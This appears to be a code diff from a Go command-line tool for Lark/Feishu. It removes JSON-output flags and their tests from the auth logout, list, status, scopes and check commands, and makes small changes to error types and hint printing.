func TestAuthLogoutCmd_AcceptsJSONFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
var gotOpts *LogoutOptions
cmd := NewCmdAuthLogout(f, func(opts *LogoutOptions) error {
gotOpts = opts
return nil
})
cmd.SetArgs([]string{"--json"})
err := cmd.Execute()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if gotOpts == nil {
t.Fatal("expected opts to be set")
}
if !gotOpts.JSON {
t.Error("expected JSON=true")
}
}
func TestAuthListCmd_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
@@ -170,27 +126,6 @@ func TestAuthListCmd_FlagParsing(t *testing.T) {
}
}
func TestAuthListCmd_AcceptsJSONFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
var gotOpts *ListOptions
cmd := NewCmdAuthList(f, func(opts *ListOptions) error {
gotOpts = opts
return nil
})
cmd.SetArgs([]string{"--json"})
err := cmd.Execute()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if gotOpts == nil {
t.Error("expected opts to be set")
}
if !gotOpts.JSON {
t.Error("expected JSON=true")
}
}
func TestAuthStatusCmd_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
@@ -210,29 +145,6 @@ func TestAuthStatusCmd_FlagParsing(t *testing.T) {
}
}
func TestAuthStatusCmd_AcceptsJSONFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *StatusOptions
cmd := NewCmdAuthStatus(f, func(opts *StatusOptions) error {
gotOpts = opts
return nil
})
cmd.SetArgs([]string{"--json"})
err := cmd.Execute()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if gotOpts == nil {
t.Error("expected opts to be set")
}
if !gotOpts.JSON {
t.Error("expected JSON=true")
}
}
func TestAuthStatusCmd_VerifyFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
@@ -355,32 +267,6 @@ func TestAuthScopesCmd_FlagParsing(t *testing.T) {
}
}
func TestAuthScopesCmd_JSONFlagForcesJSONFormat(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *ScopesOptions
cmd := NewCmdAuthScopes(f, func(opts *ScopesOptions) error {
gotOpts = opts
return nil
})
cmd.SetArgs([]string{"--format", "pretty", "--json"})
err := cmd.Execute()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if gotOpts == nil {
t.Fatal("expected opts to be set")
}
if !gotOpts.JSON {
t.Error("expected JSON=true")
}
if gotOpts.Format != "json" {
t.Errorf("expected format json, got %s", gotOpts.Format)
}
}
func TestAuthScopesRun_UsesTenantAccessTokenFromCredentialProvider(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "", Brand: core.BrandFeishu,

View File

@@ -19,7 +19,6 @@ import (
type CheckOptions struct {
Factory *cmdutil.Factory
Scope string
JSON bool
}
// NewCmdAuthCheck creates the auth check subcommand.
@@ -38,7 +37,6 @@ func NewCmdAuthCheck(f *cmdutil.Factory, runF func(*CheckOptions) error) *cobra.
}
cmd.Flags().StringVar(&opts.Scope, "scope", "", "scopes to check (space-separated)")
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
cmd.MarkFlagRequired("scope")
cmdutil.SetRisk(cmd, "read")

View File

@@ -33,9 +33,12 @@ func TestAuthCheckRun_NotLoggedIn_ExitOneWithStdoutOnly(t *testing.T) {
if got := output.ExitCodeOf(err); got != 1 {
t.Errorf("exit code = %d, want 1 (predicate 'missing' signal)", got)
}
var bare *output.BareError
var bare *output.ExitError
if !errors.As(err, &bare) {
t.Fatalf("expected *output.BareError (ErrBare), got %T: %v", err, err)
t.Fatalf("expected *output.ExitError (ErrBare), got %T: %v", err, err)
}
if bare.Detail != nil {
t.Errorf("ErrBare must carry no Detail (no envelope), got %+v", bare.Detail)
}
if stderr.Len() != 0 {

View File

@@ -9,7 +9,6 @@ import (
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
@@ -19,7 +18,6 @@ import (
// ListOptions holds all inputs for auth list.
type ListOptions struct {
Factory *cmdutil.Factory
JSON bool
}
// NewCmdAuthList creates the auth list subcommand.
@@ -36,7 +34,6 @@ func NewCmdAuthList(f *cmdutil.Factory, runF func(*ListOptions) error) *cobra.Co
return authListRun(opts)
},
}
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
cmdutil.SetRisk(cmd, "read")
return cmd
@@ -47,20 +44,12 @@ func authListRun(opts *ListOptions) error {
multi, _ := core.LoadMultiAppConfig()
if multi == nil || len(multi.Apps) == 0 {
if opts.JSON {
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
"ok": true,
"users": []map[string]interface{}{},
"reason": "not_configured",
})
return nil
}
// auth list is a read-only probe; the "configured but no users"
// branch below already returns exit 0 with a stderr hint, so we
// keep the same contract here. We still want the hint to be
// workspace-aware, so we pull the message+hint out of
// NotConfiguredError() instead of hard-coding it.
var cfgErr *errs.ConfigError
var cfgErr *core.ConfigError
if errors.As(core.NotConfiguredError(), &cfgErr) {
fmt.Fprintln(f.IOStreams.ErrOut, cfgErr.Message)
if cfgErr.Hint != "" {
@@ -72,14 +61,6 @@ func authListRun(opts *ListOptions) error {
app := multi.CurrentAppConfig(f.Invocation.Profile)
if app == nil || len(app.Users) == 0 {
if opts.JSON {
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
"ok": true,
"users": []map[string]interface{}{},
"reason": "not_logged_in",
})
return nil
}
fmt.Fprintln(f.IOStreams.ErrOut, "No logged-in users. Run `lark-cli auth login` to log in.")
return nil
}

View File

@@ -4,7 +4,6 @@
package auth
import (
"encoding/json"
"strings"
"testing"
@@ -35,33 +34,6 @@ func TestAuthListRun_NotConfigured_ReturnsExitZero(t *testing.T) {
}
}
func TestAuthListRun_JSONMode_NotConfigured_WritesStdoutOnly(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authListRun(&ListOptions{Factory: f, JSON: true}); err != nil {
t.Fatalf("auth list should succeed when not configured (exit 0); got: %v", err)
}
var payload map[string]any
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
}
if payload["ok"] != true {
t.Errorf("stdout.ok = %v, want true", payload["ok"])
}
users, ok := payload["users"].([]any)
if !ok || len(users) != 0 {
t.Errorf("stdout.users = %v, want empty array", payload["users"])
}
if payload["reason"] != "not_configured" {
t.Errorf("stdout.reason = %v, want not_configured", payload["reason"])
}
if stderr.Len() != 0 {
t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
}
}
// TestAuthListRun_NotConfigured_AgentWorkspace_RoutesToBindHelp covers the
// reason this hint exists workspace-aware in the first place: an AI agent
// in OpenClaw / Hermes that probes auth list before binding gets routed to
@@ -85,48 +57,3 @@ func TestAuthListRun_NotConfigured_AgentWorkspace_RoutesToBindHelp(t *testing.T)
t.Errorf("agent hint must not mention config init: %s", out)
}
}
func TestAuthListRun_JSONMode_NoLoggedInUsers_WritesStdoutOnly(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
writeLogoutConfig(t, nil)
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authListRun(&ListOptions{Factory: f, JSON: true}); err != nil {
t.Fatalf("auth list should succeed when no users exist (exit 0); got: %v", err)
}
var payload map[string]any
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
}
if payload["ok"] != true {
t.Errorf("stdout.ok = %v, want true", payload["ok"])
}
users, ok := payload["users"].([]any)
if !ok || len(users) != 0 {
t.Errorf("stdout.users = %v, want empty array", payload["users"])
}
if payload["reason"] != "not_logged_in" {
t.Errorf("stdout.reason = %v, want not_logged_in", payload["reason"])
}
if stderr.Len() != 0 {
t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
}
}
func TestAuthListRun_DefaultMode_NoLoggedInUsers_KeepsTextOutput(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
writeLogoutConfig(t, nil)
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authListRun(&ListOptions{Factory: f}); err != nil {
t.Fatalf("auth list should succeed when no users exist (exit 0); got: %v", err)
}
if stdout.Len() != 0 {
t.Errorf("stdout must stay empty in default mode, got:\n%s", stdout.String())
}
if !strings.Contains(stderr.String(), "No logged-in users") {
t.Errorf("stderr = %q, want no-users hint", stderr.String())
}
}

View File

@@ -296,11 +296,10 @@ func authLoginRun(opts *LoginOptions) error {
}
// Step 2: Show user code and verification URL.
// JSON mode embeds AgentTimeoutHint as a structured field so agents that
// capture stdout into a JSON parser see it without stream-mixing surprises.
// Text mode prints the hint to stderr only when running under a non-TTY
// (i.e. piped / agent harness), since humans reading a terminal don't need
// the agent-oriented instructions.
// Both branches surface AgentTimeoutHint, but on different channels:
// JSON mode embeds it as a structured field (so an agent that captures
// stdout into a JSON parser sees it without stream-mixing surprises),
// text mode prints to stderr (alongside the URL prompt).
if opts.JSON {
data := map[string]interface{}{
"event": "device_authorization",
@@ -318,9 +317,7 @@ func authLoginRun(opts *LoginOptions) error {
} else {
fmt.Fprintf(f.IOStreams.ErrOut, msg.OpenURL)
fmt.Fprintf(f.IOStreams.ErrOut, " %s\n\n", authResp.VerificationUriComplete)
if f.IOStreams != nil && !f.IOStreams.IsTerminal {
fmt.Fprintln(f.IOStreams.ErrOut, msg.AgentTimeoutHint)
}
fmt.Fprintln(f.IOStreams.ErrOut, msg.AgentTimeoutHint)
}
// Step 3: Poll for token
@@ -407,11 +404,10 @@ func authLoginPollDeviceCode(opts *LoginOptions, config *core.CliConfig, msg *lo
fmt.Fprintf(f.IOStreams.ErrOut, "[lark-cli] [WARN] auth login: failed to remove cached requested scopes: %v\n", err)
}
}
// Skip the stderr hint in JSON mode (the --no-wait call that issued
// the device_code already surfaced it as a JSON field), and also skip it
// when running on an interactive terminal — the agent-oriented
// instructions only matter for piped / harness environments.
if !opts.JSON && f.IOStreams != nil && !f.IOStreams.IsTerminal {
// Skip the stderr hint in JSON mode the --no-wait call that issued the
// device_code already returned the hint as a JSON field, and writing
// text to stderr would pollute consumers that combine streams via 2>&1.
if !opts.JSON {
fmt.Fprintln(f.IOStreams.ErrOut, msg.AgentTimeoutHint)
}
log(msg.WaitingAuth)

View File

@@ -92,11 +92,16 @@ func buildDomainMeta(name, lang string) domainMeta {
Description: desc,
}
}
// Fallback: read from the typed service spec (legacy)
// Fallback: read from from_meta spec (legacy)
meta := registry.LoadFromMeta(name)
dm := domainMeta{Name: name}
if svc, ok := registry.ServiceTyped(name); ok {
dm.Title = svc.Title
dm.Description = svc.Description
if meta != nil {
if t, ok := meta["title"].(string); ok {
dm.Title = t
}
if d, ok := meta["description"].(string); ok {
dm.Description = d
}
}
return dm
}

View File

@@ -128,5 +128,5 @@ func getLoginMsg(lang i18n.Lang) *loginMsg {
// (not backed by from_meta service specs). Descriptions are now centralized in
// service_descriptions.json.
func getShortcutOnlyDomainNames() []string {
return []string{"application", "base", "contact", "docs", "markdown", "apps", "note"}
return []string{"base", "contact", "docs", "markdown", "apps"}
}

View File

@@ -9,7 +9,6 @@ import (
"errors"
"io"
"net/http"
"slices"
"sort"
"strings"
"testing"
@@ -215,12 +214,6 @@ func TestGetShortcutOnlyDomainNames_HaveDescriptions(t *testing.T) {
}
}
func TestGetShortcutOnlyDomainNames_IncludesNote(t *testing.T) {
if !slices.Contains(getShortcutOnlyDomainNames(), "note") {
t.Fatal("shortcut-only domains must include note so auth login can select vc:note:read")
}
}
func TestCollectScopesForDomains(t *testing.T) {
projects := registry.ListFromMetaProjects()
if len(projects) == 0 {
@@ -878,7 +871,7 @@ func TestAuthLoginRun_DeviceCodeTokenNilCleansScopeCache(t *testing.T) {
// contract that when --json is set and pollDeviceToken returns OK=false,
// stdout carries the structured authorization_failed event and stderr is
// NOT polluted with a typed envelope. The returned error is a bare
// BareError with ExitAuth so the dispatcher only propagates the exit code
// ExitError with ExitAuth so the dispatcher only propagates the exit code
// without emitting a second envelope on top of the JSON event.
func TestAuthLoginRun_JSONAbort_StdoutEventOnly_StderrEmpty(t *testing.T) {
keyring.MockInit()
@@ -945,13 +938,16 @@ func TestAuthLoginRun_JSONAbort_StdoutEventOnly_StderrEmpty(t *testing.T) {
t.Errorf("stderr should not contain JSON envelope fields, got: %s", stderrStr)
}
// Returned error must be the bare *output.BareError signal (no envelope).
var bareErr *output.BareError
if !errors.As(err, &bareErr) {
t.Fatalf("expected *output.BareError, got %T: %v", err, err)
// Returned error must be the bare *output.ExitError signal (no envelope).
var exitErr *output.ExitError
if !errors.As(err, &exitErr) {
t.Fatalf("expected *output.ExitError, got %T: %v", err, err)
}
if bareErr.Code != output.ExitAuth {
t.Fatalf("BareError.Code = %d, want %d", bareErr.Code, output.ExitAuth)
if exitErr.Code != output.ExitAuth {
t.Fatalf("ExitError.Code = %d, want %d", exitErr.Code, output.ExitAuth)
}
if exitErr.Detail != nil {
t.Errorf("ExitError.Detail should be nil for bare signal, got: %+v", exitErr.Detail)
}
}

View File

@@ -18,7 +18,6 @@ import (
// LogoutOptions holds all inputs for auth logout.
type LogoutOptions struct {
Factory *cmdutil.Factory
JSON bool
}
// NewCmdAuthLogout creates the auth logout subcommand.
@@ -35,7 +34,6 @@ func NewCmdAuthLogout(f *cmdutil.Factory, runF func(*LogoutOptions) error) *cobr
return authLogoutRun(opts)
},
}
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
cmdutil.SetRisk(cmd, "write")
return cmd
@@ -46,65 +44,25 @@ func authLogoutRun(opts *LogoutOptions) error {
multi, _ := core.LoadMultiAppConfig()
if multi == nil || len(multi.Apps) == 0 {
if opts.JSON {
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
"ok": true,
"loggedOut": false,
"reason": "not_configured",
})
return nil
}
fmt.Fprintln(f.IOStreams.ErrOut, "No configuration found.")
return nil
}
app := multi.CurrentAppConfig(f.Invocation.Profile)
if app == nil || len(app.Users) == 0 {
if opts.JSON {
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
"ok": true,
"loggedOut": false,
"reason": "not_logged_in",
})
return nil
}
fmt.Fprintln(f.IOStreams.ErrOut, "Not logged in.")
return nil
}
httpClient, httpErr := f.HttpClient()
appSecret, secretErr := core.ResolveSecretInput(app.AppSecret, f.Keychain)
for _, user := range app.Users {
if httpErr == nil && secretErr == nil {
if token := larkauth.GetStoredToken(app.AppId, user.UserOpenId); token != nil {
revokeToken := token.RefreshToken
tokenTypeHint := "refresh_token"
if revokeToken == "" {
revokeToken = token.AccessToken
tokenTypeHint = "access_token"
}
if revokeToken != "" {
_ = larkauth.RevokeToken(httpClient, app.AppId, appSecret, app.Brand, revokeToken, tokenTypeHint)
}
}
}
if err := larkauth.RemoveStoredToken(app.AppId, user.UserOpenId); err != nil {
fmt.Fprintf(f.IOStreams.ErrOut, "Warning: failed to remove token for %s: %v\n", user.UserOpenId, err)
}
}
app.Users = []core.AppUser{}
if err := core.SaveMultiAppConfig(multi); err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
}
if opts.JSON {
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
"ok": true,
"loggedOut": true,
})
return nil
}
output.PrintSuccess(f.IOStreams.ErrOut, "Logged out")
return nil
}

View File

@@ -1,356 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package auth
import (
"encoding/json"
"net/url"
"strings"
"testing"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/zalando/go-keyring"
)
func writeLogoutConfig(t *testing.T, users []core.AppUser) {
t.Helper()
if err := core.SaveMultiAppConfig(&core.MultiAppConfig{
CurrentApp: "test-app",
Apps: []core.AppConfig{
{
AppId: "test-app",
AppSecret: core.PlainSecret("test-secret"),
Brand: core.BrandFeishu,
Users: users,
},
},
}); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
}
func TestAuthLogoutRun_JSONMode_NotConfigured_WritesStdoutOnly(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authLogoutRun(&LogoutOptions{Factory: f, JSON: true}); err != nil {
t.Fatalf("authLogoutRun() error = %v", err)
}
var payload map[string]any
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
}
if payload["ok"] != true {
t.Errorf("stdout.ok = %v, want true", payload["ok"])
}
if payload["loggedOut"] != false {
t.Errorf("stdout.loggedOut = %v, want false", payload["loggedOut"])
}
if payload["reason"] != "not_configured" {
t.Errorf("stdout.reason = %v, want not_configured", payload["reason"])
}
if stderr.Len() != 0 {
t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
}
}
func TestAuthLogoutRun_JSONMode_NotLoggedIn_WritesStdoutOnly(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
writeLogoutConfig(t, nil)
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authLogoutRun(&LogoutOptions{Factory: f, JSON: true}); err != nil {
t.Fatalf("authLogoutRun() error = %v", err)
}
var payload map[string]any
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
}
if payload["ok"] != true {
t.Errorf("stdout.ok = %v, want true", payload["ok"])
}
if payload["loggedOut"] != false {
t.Errorf("stdout.loggedOut = %v, want false", payload["loggedOut"])
}
if payload["reason"] != "not_logged_in" {
t.Errorf("stdout.reason = %v, want not_logged_in", payload["reason"])
}
if stderr.Len() != 0 {
t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
}
}
func TestAuthLogoutRun_JSONMode_Success_WritesStdoutOnly(t *testing.T) {
keyring.MockInit()
t.Setenv("HOME", t.TempDir())
t.Setenv("LARKSUITE_CLI_DATA_DIR", t.TempDir())
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
writeLogoutConfig(t, []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}})
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
AppId: "test-app",
UserOpenId: "ou_user",
}); err != nil {
t.Fatalf("SetStoredToken() error = %v", err)
}
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authLogoutRun(&LogoutOptions{Factory: f, JSON: true}); err != nil {
t.Fatalf("authLogoutRun() error = %v", err)
}
var payload map[string]any
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
}
if payload["ok"] != true {
t.Errorf("stdout.ok = %v, want true", payload["ok"])
}
if payload["loggedOut"] != true {
t.Errorf("stdout.loggedOut = %v, want true", payload["loggedOut"])
}
if _, hasReason := payload["reason"]; hasReason {
t.Errorf("stdout.reason must be absent on success, got %v", payload["reason"])
}
if stderr.Len() != 0 {
t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
}
}
func TestAuthLogoutRun_DefaultMode_KeepsTextOutput(t *testing.T) {
keyring.MockInit()
t.Setenv("HOME", t.TempDir())
t.Setenv("LARKSUITE_CLI_DATA_DIR", t.TempDir())
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
writeLogoutConfig(t, []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}})
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
AppId: "test-app",
UserOpenId: "ou_user",
}); err != nil {
t.Fatalf("SetStoredToken() error = %v", err)
}
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
t.Fatalf("authLogoutRun() error = %v", err)
}
if stdout.Len() != 0 {
t.Errorf("stdout must stay empty in default mode, got:\n%s", stdout.String())
}
if !strings.Contains(stderr.String(), "Logged out") {
t.Errorf("stderr = %q, want success text", stderr.String())
}
}
func TestAuthLogoutRun_RevokesTokenAndClearsLocalState(t *testing.T) {
keyring.MockInit()
setupLoginConfigDir(t)
t.Setenv("HOME", t.TempDir())
multi := &core.MultiAppConfig{
CurrentApp: "default",
Apps: []core.AppConfig{
{
Name: "default",
AppId: "cli_test",
AppSecret: core.PlainSecret("secret"),
Brand: core.BrandFeishu,
Users: []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
},
},
}
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
AppId: "cli_test",
UserOpenId: "ou_user",
AccessToken: "user-access-token",
RefreshToken: "user-refresh-token",
}); err != nil {
t.Fatalf("SetStoredToken() error = %v", err)
}
f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
Method: "POST",
URL: larkauth.PathOAuthRevoke,
Body: map[string]interface{}{"code": 0},
BodyFilter: func(body []byte) bool {
values, err := url.ParseQuery(string(body))
if err != nil {
return false
}
return values.Get("client_id") == "cli_test" &&
values.Get("client_secret") == "secret" &&
values.Get("token") == "user-refresh-token" &&
values.Get("token_type_hint") == "refresh_token"
},
})
if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
t.Fatalf("authLogoutRun() error = %v", err)
}
if got := stderr.String(); !strings.Contains(got, "Logged out") {
t.Fatalf("stderr = %q, want Logged out", got)
}
if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
t.Fatalf("expected stored token removed, got %#v", got)
}
saved, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig() error = %v", err)
}
if len(saved.Apps) != 1 || len(saved.Apps[0].Users) != 0 {
t.Fatalf("expected users cleared, got %#v", saved.Apps)
}
}
func TestAuthLogoutRun_FallsBackToAccessTokenWhenRefreshTokenMissing(t *testing.T) {
keyring.MockInit()
setupLoginConfigDir(t)
t.Setenv("HOME", t.TempDir())
multi := &core.MultiAppConfig{
CurrentApp: "default",
Apps: []core.AppConfig{
{
Name: "default",
AppId: "cli_test",
AppSecret: core.PlainSecret("secret"),
Brand: core.BrandFeishu,
Users: []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
},
},
}
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
AppId: "cli_test",
UserOpenId: "ou_user",
AccessToken: "user-access-token",
}); err != nil {
t.Fatalf("SetStoredToken() error = %v", err)
}
f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
Method: "POST",
URL: larkauth.PathOAuthRevoke,
Body: map[string]interface{}{"code": 0},
BodyFilter: func(body []byte) bool {
values, err := url.ParseQuery(string(body))
if err != nil {
return false
}
return values.Get("client_id") == "cli_test" &&
values.Get("client_secret") == "secret" &&
values.Get("token") == "user-access-token" &&
values.Get("token_type_hint") == "access_token"
},
})
if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
t.Fatalf("authLogoutRun() error = %v", err)
}
if got := stderr.String(); !strings.Contains(got, "Logged out") {
t.Fatalf("stderr = %q, want Logged out", got)
}
if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
t.Fatalf("expected stored token removed, got %#v", got)
}
saved, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig() error = %v", err)
}
if len(saved.Apps) != 1 || len(saved.Apps[0].Users) != 0 {
t.Fatalf("expected users cleared, got %#v", saved.Apps)
}
}
func TestAuthLogoutRun_RevokeFailureStillClearsLocalState(t *testing.T) {
keyring.MockInit()
setupLoginConfigDir(t)
t.Setenv("HOME", t.TempDir())
multi := &core.MultiAppConfig{
CurrentApp: "default",
Apps: []core.AppConfig{
{
Name: "default",
AppId: "cli_test",
AppSecret: core.PlainSecret("secret"),
Brand: core.BrandFeishu,
Users: []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
},
},
}
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
AppId: "cli_test",
UserOpenId: "ou_user",
AccessToken: "user-access-token",
RefreshToken: "user-refresh-token",
}); err != nil {
t.Fatalf("SetStoredToken() error = %v", err)
}
f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
Method: "POST",
URL: larkauth.PathOAuthRevoke,
Status: 500,
Body: map[string]interface{}{"error": "server_error"},
})
if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
t.Fatalf("authLogoutRun() error = %v", err)
}
gotErr := stderr.String()
if strings.Contains(gotErr, "failed to revoke token for ou_user") {
t.Fatalf("stderr = %q, want no revoke warning", gotErr)
}
if !strings.Contains(gotErr, "Logged out") {
t.Fatalf("stderr = %q, want Logged out", gotErr)
}
if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
t.Fatalf("expected stored token removed, got %#v", got)
}
saved, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig() error = %v", err)
}
if len(saved.Apps) != 1 || len(saved.Apps[0].Users) != 0 {
t.Fatalf("expected users cleared, got %#v", saved.Apps)
}
}

View File

@@ -19,7 +19,6 @@ type ScopesOptions struct {
Factory *cmdutil.Factory
Ctx context.Context
Format string
JSON bool
}
// NewCmdAuthScopes creates the auth scopes subcommand.
@@ -31,9 +30,6 @@ func NewCmdAuthScopes(f *cmdutil.Factory, runF func(*ScopesOptions) error) *cobr
Short: "Query scopes enabled for the app",
RunE: func(cmd *cobra.Command, args []string) error {
opts.Ctx = cmd.Context()
if opts.JSON {
opts.Format = "json"
}
if runF != nil {
return runF(opts)
}
@@ -42,7 +38,6 @@ func NewCmdAuthScopes(f *cmdutil.Factory, runF func(*ScopesOptions) error) *cobr
}
cmd.Flags().StringVar(&opts.Format, "format", "json", "output format: json (default) | pretty")
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
cmdutil.SetRisk(cmd, "read")
return cmd

View File

@@ -17,7 +17,6 @@ import (
type StatusOptions struct {
Factory *cmdutil.Factory
Verify bool
JSON bool
}
// NewCmdAuthStatus creates the auth status subcommand.
@@ -36,7 +35,6 @@ func NewCmdAuthStatus(f *cmdutil.Factory, runF func(*StatusOptions) error) *cobr
}
cmd.Flags().BoolVar(&opts.Verify, "verify", false, "verify token against server (requires network)")
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
cmdutil.SetRisk(cmd, "read")
return cmd

View File

@@ -1,46 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package auth
import (
"os"
"path/filepath"
"testing"
"github.com/larksuite/cli/internal/registry/registrytest"
)
// TestMain isolates auth command tests from the host machine: config, logs
// and the registry cache are redirected to a temp dir, then the registry is
// seeded from the tracked fixture and initialized eagerly. Domain-completion
// tests read the registry, so without seeding a clean checkout would either
// fail or trigger a remote metadata fetch.
//
// Note: os.Exit skips deferred functions, so cleanup runs explicitly after
// m.Run before exiting.
func TestMain(m *testing.M) {
root, err := os.MkdirTemp("", "lark-cli-cmd-auth-test-*")
if err != nil {
println("cmd/auth test setup: MkdirTemp failed:", err.Error())
os.Exit(2)
}
if err := os.Setenv("LARKSUITE_CLI_CONFIG_DIR", filepath.Join(root, "config")); err != nil {
println("cmd/auth test setup: Setenv failed:", err.Error())
os.RemoveAll(root)
os.Exit(2)
}
if err := os.Setenv("LARKSUITE_CLI_LOG_DIR", filepath.Join(root, "logs")); err != nil {
println("cmd/auth test setup: Setenv failed:", err.Error())
os.RemoveAll(root)
os.Exit(2)
}
if err := registrytest.Seed(root); err != nil {
println("cmd/auth test setup: registrytest.Seed failed:", err.Error())
os.RemoveAll(root)
os.Exit(2)
}
code := m.Run()
_ = os.RemoveAll(root)
os.Exit(code)
}

View File

@@ -6,10 +6,7 @@ package cmd
import (
"context"
"io"
"io/fs"
_ "github.com/larksuite/cli/agents"
"github.com/larksuite/cli/cmd/agents"
"github.com/larksuite/cli/cmd/api"
"github.com/larksuite/cli/cmd/auth"
"github.com/larksuite/cli/cmd/completion"
@@ -19,18 +16,13 @@ import (
"github.com/larksuite/cli/cmd/profile"
"github.com/larksuite/cli/cmd/schema"
